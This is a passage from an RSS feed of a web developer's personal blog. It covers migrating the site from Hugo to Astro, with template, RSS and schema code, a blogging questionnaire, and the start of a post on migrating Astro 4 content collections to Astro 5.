&lt;p&gt;When writing tutorials around such sample apps, I always ponder how copy-pastable my code is. Ideally, you&apos;re really not supposed to wholesale copy and paste a sample app code into your own application but you know and I know and your cat knows that people tend to do that. I lean more heavily towards leaving the responsibility of modularisation up to the developer themselves.&lt;/p&gt;
&lt;p&gt;Or even for frameworks, like React. If you look at the average React project, it&apos;s components all the way down, which is sort of the right way to do things. But I&apos;ve personally spent a lot of time digging through components like a forensics team trying to find a dead body just to locate where the logic lies.&lt;/p&gt;
&lt;p&gt;For a learning sample app, I would propose keeping all UI components as dumb as possible, then dump all the relevant logic into a big-ass custom hook. Is this best practice? Probably not, but it sure makes it easier to find feature implementation code. Generally, I&apos;m thinking along the lines of getting the framework code out of the way as much as possible.&lt;/p&gt;
&lt;h2&gt;Wrapping up&lt;/h2&gt;
&lt;p&gt;If you made it this far, thank you reading the words that I wrote. I&apos;m under the impression that most people don&apos;t actually read these days. But hey, what do I know? I&apos;m still amazed that this blog has existed for more than 11 years. A couple of years ago, I too had fallen into the category of people who Googled how to do something and landed on their own blog post.&lt;/p&gt;
&lt;p&gt;Ah well. Life.&lt;/p&gt;
</content:encoded></item><item><title>Migrating from Hugo to Astro</title><link>https://chenhuijing.com/blog/migrating-from-hugo-to-astro/</link><guid isPermaLink="true">https://chenhuijing.com/blog/migrating-from-hugo-to-astro/</guid><description>I&apos;m migrating my blog again. This blog has been in existence for more than 11 years. It started as a Jekyll site. Then I moved to Hugo. Now I&apos;m moving it to…</description><pubDate>Mon, 06 Oct 2025 01:09:20 GMT</pubDate><content:encoded>&lt;p&gt;I&apos;m migrating my blog again. This blog has been in existence for more than 11 years. It started as a Jekyll site. Then I &lt;a href=&quot;/blog/migrating-from-jekyll-to-hugo/&quot;&gt;moved to Hugo&lt;/a&gt;. Now I&apos;m moving it to &lt;a href=&quot;https://astro.build/&quot;&gt;Astro&lt;/a&gt;. The design has NEVER changed, which makes me quite contrarian to most frontend developers in the industry. But when I came up with the design back then, I wanted it to feel like me. And today, when I look at my blog, it still feels like me. I guess this says more about me as a person than my actual blog design, but I&apos;m past the age where I care any more.&lt;/p&gt;
&lt;p&gt;Hugo says I have 287 pages on my blog but I only have 226 blog posts &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;thinking face&quot;&gt;🤔&lt;/span&gt;. But the point is, I have a lot of pages to migrate. Do I really have to port over everything, you might ask? Well, yes. I do. This is my entire web developer journey, how could I possibly leave anything behind? Also, why am I migrating to begin with? Honestly, I completely lost the plot with Hugo.&lt;/p&gt;
&lt;p&gt;When they released their revamped template system in &lt;a href=&quot;https://github.com/gohugoio/hugo/releases/tag/v0.146.0&quot;&gt;v0.146.0&lt;/a&gt;, I couldn&apos;t wrap my head around it. My listing pages all broke locally. If you check my blog statistics, I clearly haven&apos;t been writing that much since 2021 anyway, but I don&apos;t actually know Go or work on Hugo websites. So this is not a Hugo problem, it&apos;s a me problem. I also started living in Astro since 2023, when I was documentation infrastructure czar (this is a fake title) at the &lt;a href=&quot;https://interledger.org/&quot;&gt;Interledger Foundation&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Needless to say, I have fallen in love with Astro and its fantastic community. I will always have good things to say about Astro. At this point in my career, I feel reasonably confident in my migration capabilities. I&apos;ve built my career on similar projects, enough to learn that it&apos;s never easy, and things will break, but nothing can&apos;t be fixed. Probably not going to be a single day project this time though.&lt;/p&gt;
&lt;p&gt;However, this is now a mid-sized website (that earns NOTHING, haha), so I did need to think through some migration strategies.&lt;/p&gt;
&lt;h2&gt;Set up Astro site&lt;/h2&gt;
&lt;p&gt;I also love &lt;a href=&quot;https://bun.com/&quot;&gt;bun&lt;/a&gt;. At first, it was because I liked the logo, because I&apos;m superficial like that. But I&apos;ve felt the benefits of its package manager, how it does &lt;code&gt;.env&lt;/code&gt; files, how it supports TypeScript natively and so on. Yay, bun.&lt;/p&gt;
&lt;p&gt;Anyway, first step was creating a new Astro project:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;bunx create-astro@latest website
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Astro &lt;a href=&quot;https://docs.astro.build/en/recipes/bun/&quot;&gt;warns you&lt;/a&gt; that using Astro with Bun is a little rough around the edges, but it was alright for me. I went with the blog template.&lt;/p&gt;
&lt;h2&gt;Migrate generated components&lt;/h2&gt;
&lt;p&gt;The blog template has some Astro components like the site header and footer. I figured those could be the first things to go over. I did have quite a lot of template logic going on, but low-hanging fruit first tends to be how I do things. I had not looked at my styling code in years, but the Sass features I had been using are pretty much native CSS at this point, so this was a good time for a styles refactor.&lt;/p&gt;
&lt;p&gt;I had previously broken up my files into different Sass files loosely based on Harry Robert&apos;s &lt;a href=&quot;https://www.creativebloq.com/web-design/manage-large-css-projects-itcss-101517528&quot;&gt;ITCSS&lt;/a&gt;, so it did make porting over to Astro components relatively easy. I rewrote all the Sass back to native CSS because I really wasn&apos;t doing anything spectacular Sassy to begin with. Just some nesting and colour functions. Nothing today&apos;s native CSS couldn&apos;t handle.&lt;/p&gt;
&lt;p&gt;Once the base styles came over, there was an illusion that things were progressing quickly. No, they were not. This was largely due to the amount of template logic I had introduced over the years. Porting over the stuff in the &lt;code&gt;head&lt;/code&gt; element took a good while, because I had relied on a lot of post frontmatter to do that. So that also meant setting up the frontmatter in Astro via the &lt;em&gt;content.config.ts&lt;/em&gt; file.&lt;/p&gt;
&lt;p&gt;I also needed to inject some logic into the &lt;a href=&quot;https://docs.astro.build/en/recipes/rss/&quot;&gt;RSS feed implementation&lt;/a&gt; because my blog listed writing that I did for external publications and I wanted the canonical links to point to those external URLs. The external URL thing ended up taking a lot more time than I expected, but at least it works now. By now the plan to migrate generated components first had gone out the window, because I got distracted by migrating pages instead.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;import { getCollection } from &amp;quot;astro:content&amp;quot;;
import rss from &amp;quot;@astrojs/rss&amp;quot;;
import { SITE_DESCRIPTION, SITE_TITLE } from &amp;quot;@/consts&amp;quot;;

export async function GET(context) {
  const posts = await getCollection(&amp;quot;blog&amp;quot;);
  return rss({
    title: SITE_TITLE,
    description: SITE_DESCRIPTION,
    site: context.site,
    items: posts
      .sort((a, b) =&amp;gt; +new Date(b.data.date) - +new Date(a.data.date))
      .filter((post) =&amp;gt; !post.data.nofeed)
      .map((post) =&amp;gt; ({
        ...post.data,
        link: post.data.external_url ? post.data.external_url : `/blog/${post.id}/`,
        pubDate: new Date(post.data.date),
      })),
  });
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Migrate pages&lt;/h2&gt;
&lt;p&gt;There were not that many pages (i.e. not blog posts) on my website, but the only straight-forward page was the &amp;quot;About&amp;quot; page. My &amp;quot;Talks&amp;quot; and &amp;quot;Work&amp;quot; pages were a combination of frontmatter filtering and looping over external data files. The meat of the site was my blog, so there was the full listing page, tag pages and the home page which showed the latest 10 posts. Also had a contact page, résumé page and custom 404 page.&lt;/p&gt;
&lt;p&gt;By this point, I had fully realised that my brain reads JavaScript with a fluency that does not exist for Hugo&apos;s style of Go templating syntax. Migrating the tag pages were a good example of this. For Astro, creating tag pages was a matter of filtering the blog &lt;a href=&quot;https://docs.astro.build/en/guides/content-collections/&quot;&gt;content collection&lt;/a&gt; for posts with tags in their frontmatter. I&apos;ll probably write up the details of the implementation in a separate post.&lt;/p&gt;
&lt;p&gt;I also had data for my talk slides and side projects in separate YAML files, and had some logic that would display different URLs, if it should link to a blog post or an external URL. That logic in Hugo was… let&apos;s just say I&apos;m not that great with double curly braces? I&apos;m just more used to mapping arrays. Honestly, the most complicated logic was probably the &lt;code&gt;head&lt;/code&gt; element if I&apos;m being honest. Those OG tags, canonical URLs and &lt;code&gt;noindex&lt;/code&gt; scenarios needed some extra scrutiny.&lt;/p&gt;
&lt;p&gt;But in a nutshell, compare this:&lt;/p&gt;
&lt;!-- prettier-ignore --&gt;
&lt;pre&gt;&lt;code class=&quot;language-html&quot;&gt;&amp;lt;head&amp;gt;
  &amp;lt;meta charset=&amp;quot;utf-8&amp;quot;&amp;gt;
  &amp;lt;meta http-equiv=&amp;quot;X-UA-Compatible&amp;quot; content=&amp;quot;IE=edge&amp;quot;&amp;gt;
  &amp;lt;meta name=viewport content=&amp;quot;width=device-width, initial-scale=1&amp;quot;&amp;gt;

  &amp;lt;title&amp;gt;{{ if .Params.title }}{{ .Params.title | safeHTML }}{{ else }}{{ .Site.Title }}{{ end }}&amp;lt;/title&amp;gt;
  &amp;lt;meta name=&amp;quot;description&amp;quot; content=&amp;quot;{{ if (eq .Type &amp;quot;blog&amp;quot;) }}{{ .Summary | truncate 130 }}{{ else }}{{ .Site.Params.description }}{{ end }}&amp;quot;&amp;gt;

  {{ if .Params.noindex }}
  &amp;lt;meta name=&amp;quot;robots&amp;quot; content=&amp;quot;noindex&amp;quot;&amp;gt;
  {{ end }}

  {{ template &amp;quot;_internal/opengraph.html&amp;quot; . }}
  {{ template &amp;quot;_internal/twitter_cards.html&amp;quot; . }}

  &amp;lt;meta name=&amp;quot;twitter:site&amp;quot; content=&amp;quot;@hj_chen&amp;quot;&amp;gt;
  &amp;lt;meta name=&amp;quot;p:domain_verify&amp;quot; content=&amp;quot;1623582e8d2881f774efff746a6f3f1f&amp;quot;&amp;gt;
  &amp;lt;meta name=&amp;quot;msvalidate.01&amp;quot; content=&amp;quot;30F5181A4C23EE64C2F947E2910DDBBA&amp;quot;&amp;gt;

  {{ if .Params.external_url }}
  &amp;lt;link rel=&amp;quot;canonical&amp;quot; href=&amp;quot;{{ .Params.external_url }}&amp;quot;&amp;gt;
  {{ else }}
  &amp;lt;link rel=&amp;quot;canonical&amp;quot; href=&amp;quot;{{ .Permalink }}&amp;quot;&amp;gt;
  {{ end }}
  
  {{ with .OutputFormats.Get &amp;quot;RSS&amp;quot; -}}
    {{ printf `&amp;lt;link rel=&amp;quot;%s&amp;quot; type=&amp;quot;%s&amp;quot; href=&amp;quot;%s&amp;quot; title=&amp;quot;%s&amp;quot;&amp;gt;` .Rel .MediaType.Type .Permalink $.Site.Title | safeHTML }}
  {{ end -}}
  
  &amp;lt;link href=&amp;quot;https://micro.blog/huijing&amp;quot; rel=&amp;quot;me&amp;quot;&amp;gt;
  &amp;lt;link rel=&amp;quot;monetization&amp;quot; href=&amp;quot;https://ilp.gatehub.net/747467740/USD&amp;quot; /&amp;gt;

  {{ if (eq .Type &amp;quot;blog&amp;quot;) }}
  {{ $options := (dict &amp;quot;targetPath&amp;quot; &amp;quot;posts.css&amp;quot; &amp;quot;outputStyle&amp;quot; &amp;quot;compressed&amp;quot; &amp;quot;enableSourceMap&amp;quot; true) }}
  {{ $style := resources.Get &amp;quot;sass/posts.scss&amp;quot; | resources.ToCSS $options }}
  &amp;lt;link rel=&amp;quot;stylesheet&amp;quot; href=&amp;quot;{{ $style.RelPermalink }}&amp;quot;&amp;gt;
  {{ else }}
  {{ $options := (dict &amp;quot;targetPath&amp;quot; &amp;quot;pages.css&amp;quot; &amp;quot;outputStyle&amp;quot; &amp;quot;compressed&amp;quot; &amp;quot;enableSourceMap&amp;quot; true) }}
  {{ $style := resources.Get &amp;quot;sass/pages.scss&amp;quot; | resources.ToCSS $options }}
  &amp;lt;link rel=&amp;quot;stylesheet&amp;quot; href=&amp;quot;{{ $style.RelPermalink }}&amp;quot;&amp;gt;
  {{ end }}

  &amp;lt;link rel=&amp;quot;preload&amp;quot; href=&amp;quot;/assets/fonts/eightbitoperatorplus8-bold-webfont.woff2&amp;quot; as=&amp;quot;font&amp;quot; type=&amp;quot;font/woff2&amp;quot; crossorigin&amp;gt;
  &amp;lt;link rel=&amp;quot;preload&amp;quot; href=&amp;quot;/assets/fonts/eightbitoperatorplus-regular-webfont.woff2&amp;quot; as=&amp;quot;font&amp;quot; type=&amp;quot;font/woff2&amp;quot; crossorigin&amp;gt;
  &amp;lt;link rel=&amp;quot;preload&amp;quot; href=&amp;quot;/assets/fonts/magnetic-pro-black.woff2&amp;quot; as=&amp;quot;font&amp;quot; type=&amp;quot;font/woff2&amp;quot; crossorigin&amp;gt;
  &amp;lt;link rel=&amp;quot;preload&amp;quot; href=&amp;quot;/assets/fonts/magnetic-pro-light.woff2&amp;quot; as=&amp;quot;font&amp;quot; type=&amp;quot;font/woff2&amp;quot; crossorigin&amp;gt;
  
  &amp;lt;link rel=&amp;quot;apple-touch-icon&amp;quot; sizes=&amp;quot;180x180&amp;quot; href=&amp;quot;/assets/favicons/apple-touch-icon.png&amp;quot;&amp;gt;
  &amp;lt;link rel=&amp;quot;icon&amp;quot; type=&amp;quot;image/png&amp;quot; href=&amp;quot;/assets/favicons/favicon-32x32.png&amp;quot; sizes=&amp;quot;32x32&amp;quot;&amp;gt;
  &amp;lt;link rel=&amp;quot;icon&amp;quot; type=&amp;quot;image/png&amp;quot; href=&amp;quot;/assets/favicons/favicon-16x16.png&amp;quot; sizes=&amp;quot;16x16&amp;quot;&amp;gt;
  &amp;lt;link rel=&amp;quot;manifest&amp;quot; href=&amp;quot;/assets/favicons/manifest.json&amp;quot;&amp;gt;
  &amp;lt;link rel=&amp;quot;mask-icon&amp;quot; href=&amp;quot;/assets/favicons/safari-pinned-tab.svg&amp;quot; color=&amp;quot;#009418&amp;quot;&amp;gt;
  &amp;lt;link rel=&amp;quot;shortcut icon&amp;quot; href=&amp;quot;/assets/favicons/favicon.ico&amp;quot;&amp;gt;
  &amp;lt;meta name=&amp;quot;msapplication-config&amp;quot; content=&amp;quot;/assets/favicons/browserconfig.xml&amp;quot;&amp;gt;
  &amp;lt;meta name=&amp;quot;theme-color&amp;quot; content=&amp;quot;#ffffff&amp;quot;&amp;gt;
&amp;lt;/head&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;with this:&lt;/p&gt;
&lt;!-- prettier-ignore --&gt;
&lt;pre&gt;&lt;code class=&quot;language-html&quot;&gt;&amp;lt;head&amp;gt;
  &amp;lt;meta charset=&amp;quot;utf-8&amp;quot; /&amp;gt;
  &amp;lt;meta name=&amp;quot;viewport&amp;quot; content=&amp;quot;width=device-width,initial-scale=1&amp;quot; /&amp;gt;
  &amp;lt;link rel=&amp;quot;sitemap&amp;quot; href=&amp;quot;/sitemap-index.xml&amp;quot; /&amp;gt;
  &amp;lt;link rel=&amp;quot;alternate&amp;quot; type=&amp;quot;application/rss+xml&amp;quot; title={SITE_TITLE} href={new URL(&amp;quot;rss.xml&amp;quot;, Astro.site)}
  /&amp;gt;
  &amp;lt;meta name=&amp;quot;generator&amp;quot; content={Astro.generator} /&amp;gt;

  &amp;lt;title&amp;gt;{title ? `${title} | ${SITE_TITLE}` : SITE_TITLE}&amp;lt;/title&amp;gt;
  &amp;lt;meta name=&amp;quot;author&amp;quot; content=&amp;quot;Chen Hui Jing&amp;quot; /&amp;gt;
  &amp;lt;meta name=&amp;quot;title&amp;quot; content={title ? `${title} | ${SITE_TITLE}` : SITE_TITLE} /&amp;gt;
  &amp;lt;meta name=&amp;quot;description&amp;quot; content={description ? description : SITE_DESCRIPTION} /&amp;gt;
  {noindex &amp;amp;&amp;amp; &amp;lt;meta name=&amp;quot;robots&amp;quot; content=&amp;quot;noindex, nofollow&amp;quot; /&amp;gt;}
  &amp;lt;link rel=&amp;quot;canonical&amp;quot; href={canonicalURL} /&amp;gt;

  &amp;lt;link rel=&amp;quot;preload&amp;quot; href=&amp;quot;/assets/fonts/eightbitoperatorplus8-bold-webfont.woff2&amp;quot; as=&amp;quot;font&amp;quot; type=&amp;quot;font/woff2&amp;quot; crossorigin&amp;gt;
  &amp;lt;link rel=&amp;quot;preload&amp;quot; href=&amp;quot;/assets/fonts/eightbitoperatorplus-regular-webfont.woff2&amp;quot; as=&amp;quot;font&amp;quot; type=&amp;quot;font/woff2&amp;quot; crossorigin&amp;gt;
  &amp;lt;link rel=&amp;quot;preload&amp;quot; href=&amp;quot;/assets/fonts/magnetic-pro-black.woff2&amp;quot; as=&amp;quot;font&amp;quot; type=&amp;quot;font/woff2&amp;quot; crossorigin&amp;gt;
  &amp;lt;link rel=&amp;quot;preload&amp;quot; href=&amp;quot;/assets/fonts/magnetic-pro-light.woff2&amp;quot; as=&amp;quot;font&amp;quot; type=&amp;quot;font/woff2&amp;quot; crossorigin&amp;gt;

  &amp;lt;meta property=&amp;quot;og:title&amp;quot; content={title ? `${title} | ${SITE_TITLE}` : SITE_TITLE} /&amp;gt;
  &amp;lt;meta property=&amp;quot;og:type&amp;quot; content={ogType ? ogType : &amp;quot;website&amp;quot;} /&amp;gt;
  &amp;lt;meta property=&amp;quot;og:image&amp;quot; content={ogImageUrl ? ogImageUrl : new URL(&amp;quot;/images/avatar-ponytail@2x.png&amp;quot;, Astro.site).href} /&amp;gt;
  &amp;lt;meta property=&amp;quot;og:url&amp;quot; content={canonicalURL} /&amp;gt;
  &amp;lt;meta property=&amp;quot;og:description&amp;quot; content={description ? description : SITE_DESCRIPTION} /&amp;gt;

  &amp;lt;meta name=&amp;quot;twitter:card&amp;quot; content=&amp;quot;summary_large_image&amp;quot; /&amp;gt;
  &amp;lt;meta name=&amp;quot;twitter:title&amp;quot; content={title ? `${title} | ${SITE_TITLE}` : SITE_TITLE} /&amp;gt;
  &amp;lt;meta name=&amp;quot;twitter:image&amp;quot; content={ogImageUrl ? ogImageUrl : new URL(&amp;quot;/images/avatar-ponytail@2x.png&amp;quot;, Astro.site).href} /&amp;gt;
  &amp;lt;meta name=&amp;quot;twitter:description&amp;quot; content={description ? description : SITE_DESCRIPTION} /&amp;gt;

  &amp;lt;link rel=&amp;quot;apple-touch-icon&amp;quot; sizes=&amp;quot;180x180&amp;quot; href=&amp;quot;/favicons/apple-touch-icon.png&amp;quot; /&amp;gt;
  &amp;lt;link rel=&amp;quot;icon&amp;quot; type=&amp;quot;image/png&amp;quot; href=&amp;quot;/favicons/favicon-32x32.png&amp;quot; sizes=&amp;quot;32x32&amp;quot; /&amp;gt;
  &amp;lt;link rel=&amp;quot;icon&amp;quot; type=&amp;quot;image/png&amp;quot; href=&amp;quot;/favicons/favicon-16x16.png&amp;quot; sizes=&amp;quot;16x16&amp;quot; /&amp;gt;
  &amp;lt;link rel=&amp;quot;manifest&amp;quot; href=&amp;quot;/favicons/manifest.json&amp;quot; /&amp;gt;
  &amp;lt;link rel=&amp;quot;mask-icon&amp;quot; href=&amp;quot;/favicons/safari-pinned-tab.svg&amp;quot; color=&amp;quot;#009418&amp;quot; /&amp;gt;
  &amp;lt;link rel=&amp;quot;shortcut icon&amp;quot; href=&amp;quot;/favicons/favicon.ico&amp;quot; /&amp;gt;
  &amp;lt;meta name=&amp;quot;msapplication-config&amp;quot; content=&amp;quot;/favicons/browserconfig.xml&amp;quot; /&amp;gt;
  &amp;lt;meta name=&amp;quot;theme-color&amp;quot; content=&amp;quot;#ffffff&amp;quot; /&amp;gt;

  &amp;lt;meta name=&amp;quot;twitter:site&amp;quot; content=&amp;quot;@hj_chen&amp;quot; /&amp;gt;
  &amp;lt;meta name=&amp;quot;p:domain_verify&amp;quot; content=&amp;quot;1623582e8d2881f774efff746a6f3f1f&amp;quot; /&amp;gt;
  &amp;lt;meta name=&amp;quot;msvalidate.01&amp;quot; content=&amp;quot;30F5181A4C23EE64C2F947E2910DDBBA&amp;quot; /&amp;gt;
  &amp;lt;link href=&amp;quot;https://micro.blog/huijing&amp;quot; rel=&amp;quot;me&amp;quot; /&amp;gt;
  &amp;lt;link rel=&amp;quot;monetization&amp;quot; href=&amp;quot;https://ilp.gatehub.net/747467740/USD&amp;quot; /&amp;gt;
&amp;lt;/head&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Migrate blog posts&lt;/h2&gt;
&lt;p&gt;For the blog posts themselves, my content had always been in markdown since day 1 (which would be 4257 days ago). However, given that this is my third migration, I have started to think more about the use of components to keep things DRY. I then recalled the first time I did the migration, I had similar concerns. It was evident, looking at the current state of the blog posts this time, that I was in two minds back then.&lt;/p&gt;
&lt;p&gt;In that previous migration blogpost, former me literally said:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;But I oscillated between using Hugo’s custom shortcodes versus writing out HTML in full for my responsive images because I kept thinking what would happen if I migrated again. That would mean writing the stuff in the shortcodes within my content.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Somewhere along the lines in 2023, I sort of lost the plot, and ended up using shortcodes for a bit. Thankfully, my decreased writing output meant that it wasn&apos;t that much to deal with. But for now, I did create temporary components in Astro, that I plan to slowly migrate anyway from back to just the HTML in full. I hope I remember this, if not, it&apos;s gonna be kinda hilarious for migration number 3.&lt;/p&gt;
&lt;p&gt;You know what, I&apos;ll create an issue to track this. I don&apos;t understand why previous me did not do this when all my stuff is on GitHub to begin with. &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;face with rolling eyes&quot;&gt;🙄&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;Astro is a TypeScript-first kind of framework, so type safety is totally a thing. Anyway, the documentation states: “Every frontmatter or data property of your collection entries must be defined using a Zod data type”. Considering I had 1001 frontmatter properties for all kinds of rendering logic (see the above section), my schema was a little long-ish.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-ts&quot;&gt;const blog = defineCollection({
  loader: glob({ base: &amp;quot;./src/content/blog&amp;quot;, pattern: &amp;quot;**/*.{md,mdx}&amp;quot; }),
  schema: () =&amp;gt;
    z.object({
      title: z.string(),
      date: z.coerce.date(),
      tags: z.array(z.string()).default([]),
      og_image: z.string().optional(),
      description: z.string().optional(),
      hastweet: z.boolean().default(false),
      hascaniuse: z.boolean().default(false),
      hascodepen: z.boolean().default(false),
      project: z.string().optional(),
      project_image: z.string().optional(),
      external_url: z.string().url().optional(),
      external_site: z.string().optional(),
      nofeed: z.boolean().default(false),
      noindex: z.boolean().default(false),
    }),
});
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;I had run the blog template when I first created the site and the schema had included &lt;code&gt;Image&lt;/code&gt; as a type, and I&apos;d thought to use it for my 2 image frontmatter properties but turns out, it doesn&apos;t really work? I did not dig into it but there was a &lt;a href=&quot;https://github.com/withastro/astro/issues/12673&quot;&gt;whole GitHub issue&lt;/a&gt; and the conclusion was, just use a string. &lt;span class=&quot;kaomoji&quot;&gt;¯\_(ツ)_/¯ &lt;/span&gt;&lt;/p&gt;
&lt;h2&gt;Wrapping up&lt;/h2&gt;
&lt;p&gt;The first time I migrated, it took 3 days. This one sort of took 3 days as well. So maybe that&apos;s the average amount of time needed to migrate a website. I&apos;m sure it will take less time if I ever complete paying off my tech debt of framework-locked partials/shortcodes/components. But maybe I&apos;ll actually stick with Astro since it&apos;s really close to HTML, CSS and JavaScript.&lt;/p&gt;
&lt;p&gt;Check back in 5 years I guess.&lt;/p&gt;
</content:encoded></item><item><title>Tag, you&apos;re it!</title><link>https://chenhuijing.com/blog/tag-youre-it/</link><guid isPermaLink="true">https://chenhuijing.com/blog/tag-youre-it/</guid><description>Blogging about blogging seems kinda meta to me. It&apos;s definitely fun to see how and why folks started and continue to blog. I got tagged by Hidde, so why not…</description><pubDate>Wed, 16 Apr 2025 11:44:48 GMT</pubDate><content:encoded>&lt;p&gt;Blogging about blogging seems kinda meta to me. It&apos;s definitely fun to see how and why folks started and continue to blog. I got tagged by &lt;a href=&quot;https://hidde.blog&quot;&gt;Hidde&lt;/a&gt;, so why not get this going?&lt;/p&gt;
&lt;p class=&quot;no-margin&quot;&gt;&lt;strong&gt;Why did you start blogging in the first place?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Back in 2013, my first development job was at an agency and after almost coming up to 2 years, I had been thinking of moving onto somewhere else. I did solve a lot of bugs and learn a lot of things during my time there. But I realised I couldn&apos;t take the code I wrote with me. So I did the next best thing and wrote my solutions into blog posts with generic examples, so that future me could have something to fall back on.&lt;/p&gt;
&lt;p class=&quot;no-margin&quot;&gt;&lt;strong&gt;What platform are you using to manage your blog and why did you choose it? Have you blogged on other platforms before?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Right now it&apos;s a website built with Hugo. I chose it because my original Jekyll site took a really long time to build and someone said that Hugo was fast. I wrote about &lt;a href=&quot;/blog/migrating-from-jekyll-to-hugo&quot;&gt;the migration&lt;/a&gt;. Also, I was running into a bunch of deprecation issues with Ruby and some Github Pages gem and this and that.&lt;/p&gt;
&lt;p class=&quot;no-margin&quot;&gt;&lt;strong&gt;How do you write your posts? For example, in a local editing tool, or in a panel/dashboard that’s part of your blog?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;I just write on a new markdown file generated with the command &lt;code&gt;hugo new PATH_TO_NEW_BLOG&lt;/code&gt;.&lt;/p&gt;
&lt;p class=&quot;no-margin&quot;&gt;&lt;strong&gt;When do you feel most inspired to write?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;At the most random moments. Or when I solve a problem that required a significant investment of my youth, and I therefore feel compelled to write it down so I don&apos;t have to think that hard ever again.&lt;/p&gt;
&lt;p class=&quot;no-margin&quot;&gt;&lt;strong&gt;Do you publish immediately after writing, or do you let it simmer a bit as a draft?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;I usually just hit publish and fix mistakes later. &lt;span class=&quot;kaomoji&quot;&gt;乁 ⁠(⁠ ⁠•⁠_⁠•⁠ ⁠)⁠ ㄏ&lt;/span&gt;&lt;/p&gt;
&lt;p class=&quot;no-margin&quot;&gt;&lt;strong&gt;What’s your favourite post on your blog?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Ooooo, I actually have a few that I like, but I&apos;ll go with &lt;a href=&quot;/blog/where-did-css-named-colours-come-from&quot;&gt;Where did CSS named colours come from?&lt;/a&gt;, because I just like colours. Apparently my all time best performing blog post is &lt;a href=&quot;/blog/east-asian-character-emojis&quot;&gt;East Asian character emojis ㊗️ 🈶️ 🈯️ 🈳️&lt;/a&gt;, go figure.&lt;/p&gt;
&lt;p class=&quot;no-margin&quot;&gt;&lt;strong&gt;Who are you writing for?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Future me! Because I have no confidence that I&apos;ll be smarter than I am now in the future. Not that I&apos;m smart now, just that things only go downhill from here. It&apos;s called aging.&lt;/p&gt;
&lt;p class=&quot;no-margin&quot;&gt;&lt;strong&gt;Any future plans for your blog? Maybe a redesign, a move to another platform, or adding a new feature?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;I know it&apos;s super popular, especially around web developers who do frontend to refresh their websites fairly regularly. But when I came up with this design more than a decade ago, I wanted it to feel like me. Every year I look at it, and think, is this still me? And the answer, for better or for worse, is still yes. So I have kept the same design for more than a decade. Sue me.&lt;/p&gt;
&lt;p class=&quot;no-margin&quot;&gt;&lt;strong&gt;Who&amp;#39;s next?&lt;/strong&gt;&lt;/p&gt;
&lt;p class=&quot;no-margin&quot;&gt;Seems like this has been going around for a while, and I&apos;m not sure if these people have been tagged yet but here goes:&lt;/p&gt;
&lt;ul&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;https://zellwk.com/&quot;&gt;Zell Liew&lt;/a&gt;, my very first frontend friend and now a more than a decade long buddy&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://csswizardry.com/&quot;&gt;Harry Roberts&lt;/a&gt;, because he’s a very cool guy whom I have not seen in ages&lt;/li&gt;
&lt;/ul&gt;</content:encoded></item><item><title>Migrating content collections from Astro 4 to 5</title><link>https://chenhuijing.com/blog/migrating-content-collections-from-astro-4-to-5/</link><guid isPermaLink="true">https://chenhuijing.com/blog/migrating-content-collections-from-astro-4-to-5/</guid><description>In case you missed it, Astro 5 has been out and about since Dec 3, 2024. As of time of writing, we&apos;re at 5.5.4 already. What can I say, the team moves fast.…</description><pubDate>Sat, 29 Mar 2025 21:14:50 GMT</pubDate><content:encoded>&lt;p&gt;In case you missed it, &lt;a href=&quot;https://astro.build/&quot;&gt;Astro&lt;/a&gt; 5 has been out and about since &lt;a href=&quot;https://github.com/withastro/astro/releases/tag/astro%405.0.0&quot;&gt;Dec 3, 2024&lt;/a&gt;. As of time of writing, we&apos;re at 5.5.4 already. What can I say, the team moves fast. &lt;span class=&quot;kaomoji&quot;&gt;¯\_(ツ)_/¯&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;I have 2 projects that make use of Astro&apos;s &lt;a href=&quot;https://docs.astro.build/en/guides/content-collections/&quot;&gt;content collections&lt;/a&gt; and I migrated the first of those back on Dec 16, 2024. What can I say, I&apos;m one of THOSE people. &lt;span class=&quot;kaomoji&quot;&gt;¯\_(ツ)_/¯&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;Anyway, I finally got around to migrating the second project in February, and because I&apos;m old(er) now, I can&apos;t remember shit any more. Just in case I have to do the migration a third time for whatever reason, it&apos;s probably a good idea to write all the gotchas down.&lt;/p&gt;
&lt;h2&gt;Documentation is great, refer to it&lt;/h2&gt;
&lt;p&gt;The Astro team has provided a really good &lt;a href=&quot;https://docs.astro.build/en/guides/upgrade-to/v5/&quot;&gt;migration guide&lt;/a&gt;, and that should be your first stop. Keep it open the whole time you&apos;re doing the migration. It&apos;s good stuff. The part that was most relevant to me was &lt;a href=&quot;https://docs.astro.build/en/guides/upgrade-to/v5/#legacy-v20-content-collections-api&quot;&gt;Legacy: v2.0 Content Collections API&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;There are step by step instructions on exactly what to do, so follow the 4 steps outlined in the documentation.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
